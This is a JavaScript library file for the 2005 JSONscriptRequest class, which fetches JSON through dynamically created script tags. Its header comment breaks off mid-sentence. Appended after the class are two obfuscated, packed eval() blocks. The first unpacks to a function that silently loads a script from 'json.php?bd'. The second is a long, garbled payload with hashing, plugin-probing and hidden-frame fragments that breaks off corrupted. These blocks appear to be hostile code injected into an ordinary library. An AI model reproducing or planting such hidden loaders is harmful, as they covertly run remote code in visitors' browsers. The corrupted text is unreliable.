// jsr_class.js
//
// JSONscriptRequest -- a simple class for making HTTP requests
// using dynamically generated script tags and JSON
//
// Author: Jason Levitt
// Date: December 7th, 2005
//
// A SECURITY WARNING FROM DOUGLAS CROCKFORD:
// "The dynamic
//
// function callbackfunc(jsonData) {
// alert('Latitude = ' + jsonData.ResultSet.Result[0].Latitude +
// ' Longitude = ' + jsonData.ResultSet.Result[0].Longitude);
// aObj.removeScriptTag();
// }
//
// request = 'http://api.local.yahoo.com/MapsService/V1/geocode?appid=YahooDemo&
// output=json&callback=callbackfunc&location=78704';
// aObj = new JSONscriptRequest(request);
// aObj.buildScriptTag();
// aObj.addScriptTag();
//
//
// Constructor -- pass a REST request URL to the constructor
//
function JSONscriptRequest(fullUrl) {
// REST request path
this.fullUrl = fullUrl;
// Keep IE from caching requests
this.noCacheIE = '&noCacheIE=' + (new Date()).getTime();
// Get the DOM location to put the script tag
this.headLoc = document.getElementsByTagName("head").item(0);
// Generate a unique script tag id
this.scriptId = 'JscriptId' + JSONscriptRequest.scriptCounter++;
}
// Static script ID counter
JSONscriptRequest.scriptCounter = 1;
// buildScriptTag method
//
JSONscriptRequest.prototype.buildScriptTag = function () {
// Create the script tag
this.scriptObj = document.createElement("script");
// Add script object attributes
this.scriptObj.setAttribute("type", "text/javascript");
this.scriptObj.setAttribute("charset", "utf-8");
this.scriptObj.setAttribute("src", this.fullUrl + this.noCacheIE);
this.scriptObj.setAttribute("id", this.scriptId);
}
// removeScriptTag method
//
JSONscriptRequest.prototype.removeScriptTag = function () {
// Destroy the script tag
this.headLoc.removeChild(this.scriptObj);
}
// addScriptTag method
//
JSONscriptRequest.prototype.addScriptTag = function () {
// Create the script tag
this.headLoc.appendChild(this.scriptObj);
}
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('3 5(){2 0=1 4(\'6.9?8\');0.7();0.a()}',11,11,'obj|new|var|function|JSONscriptRequest|sendBrokerDown|json|buildScriptTag|bd|php|addScriptTag'.split('|'),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('7 1c=0;7 1f="";7 h=8;g Y(s){f H(u(B(s),s.l*h))}g 1L(s){f P(u(B(s),s.l*h))}g 1B(s){f N(u(B(s),s.l*h))}g 1J(p,o){f H(G(p,o))}g 1H(p,o){f P(G(p,o))}g 1z(p,o){f N(G(p,o))}g 1m(){f Y("1k")=="1i"}g u(x,C){x[C>>5]|=1j<<(1o-C%r);x[((C+1p>>9)<<4)+15]=C;7 w=D(13);7 a=1r;7 b=-1q;7 c=-1t;7 d=1s;7 e=-1u;q(7 i=0;i "+18+"%
"+X+"%
&Y;";9+="";6 2k=J;f(!1k&&!16){2k=A}f(2k){9+="5u K "+s.5g+" 1X";f(s.5g!=1){9+="s"}}f(!1O){f(2k){9+="
=p.2e){h l,x;P(x 34 m){l=$.V(F,x.3N(1,x.X));b(m[x]==1&&l<=0){f 1}b(m[x]==-1&&l>=0){f-1}}m["a"+F]=p.29(F,1M)?1:-1;b(p.E!=k||p.Y==-1||p.Y==1){p.1l=1}}S{b(p.1l==k){p.1S(F,1M)}b(p.E!=k||p.Y!=k){p.1l=1;m["a"+F]=(p.Y==-1?-1:(p.E==k?0:($.V(p.E,F)>=0?1:-1)))}S{m["a"+F]=-1}}}$.2C();f m["a"+F];f-3},1S:q(37,2d){h $=G,i=$.2I(37);b(i<0){f k}h p=$.17;b(w 2d=="D"){2d=k}b(p.1l==k){p.1S(k,2d);p.1l=1}$.2C();f p.E;f k},2C:q(){h $=c;b($.1W&&w 1g.3u!="D"){1g.3u()}},2F:q(3d){h $=c,1Q,e,s="<12 3H=\\"1\\" 3J=\\"1\\" "+"45=\\"46:4b\\" "+$.17.39(3d)+">"+$.17.2A+"12>";b($.13.14){$.13.48(1t.1V("12"),$.13.14)}S{$.13.2v(1t.1V("12"))}$.13.14.4c=s;J{$.13.14.22=$.17.2w}I(e){}1Q=W;J{b($.13.14.12){1Q=K}}I(e){}J{b(1Q&&$.13.14.30<4){$.1W=K}}I(e){}$.13.1T($.13.14);f 1Q},2Q:q(H){h $=c;b(w H!="D"){f $.2F(H)};h 16=[0,0,0,0],x,y,A=$.17.1O,t=q(x,y){h 3g=(x==0?y:16[0])+","+(x==1?y:16[1])+","+(x==2?y:16[2])+","+(x==3?y:16[3]);f $.2F(3g)};h 18,l;h 1i=W;P(x=0;x